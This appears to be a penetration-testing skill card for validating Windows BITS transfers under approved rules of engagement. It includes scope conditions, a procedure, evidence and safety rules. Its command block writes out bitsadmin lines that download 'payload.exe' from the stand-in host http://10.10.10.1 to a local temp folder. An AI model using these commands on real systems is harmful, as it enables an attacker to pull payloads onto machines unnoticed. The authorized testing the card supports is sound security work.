Bitsadmin

Bitsadmin

Purpose

Use this skill only when the rules of engagement explicitly permit validation of Windows-native BITS transfer behavior on named approved hosts.

Phase Fit

• Primary: Validation and Controlled Impact Demonstration
• Secondary: Vulnerability Analysis, Retest and Closure

Use When

• Need to inspect or validate BITS-backed transfer capability.
• Need to test whether BITS job behavior affects an approved staging path.
• Need a repeatable retest after hardening or policy changes.

Avoid When

• BITS transfer behavior is not explicitly approved for testing.
• Host or transfer scope is unclear.

Inputs

• Approved host and job or transfer scope
• Explicit approval for BITS-backed transfer validation
• Stop conditions and evidence rules

Procedure

1. Start with inspection or minimal job creation only if approved.
2. Keep the file and network scope minimal.
3. Record the exact host, job, and transfer path used.
4. Stop once the approved proof standard is met.
5. Remove approved test jobs if required by the engagement.

Command Syntax

Replace sample paths with approved in-scope values.

:: Create a download job
bitsadmin /create contoso-job

:: Add a file to the job
bitsadmin /addfile contoso-job http://10.10.10.1/payload.exe C:\temp\payload.exe

:: Resume (start) the job
bitsadmin /resume contoso-job

:: Check job status
bitsadmin /info contoso-job /verbose

:: Complete and clean up the job
bitsadmin /complete contoso-job

:: One-liner transfer
bitsadmin /transfer contoso-job /download /priority normal http://10.10.10.1/payload.exe C:\temp\payload.exe

:: List all jobs for all users
bitsadmin /list /allusers

:: Cancel a job
bitsadmin /cancel contoso-job

Evidence to Capture

• Whether the approved BITS path or behavior existed
• Exact host, job, and network scope used
• Minimal proof needed to support remediation

Safety Boundaries

• Use only with explicit written approval.
• Keep job scope narrow and remove approved artifacts when required.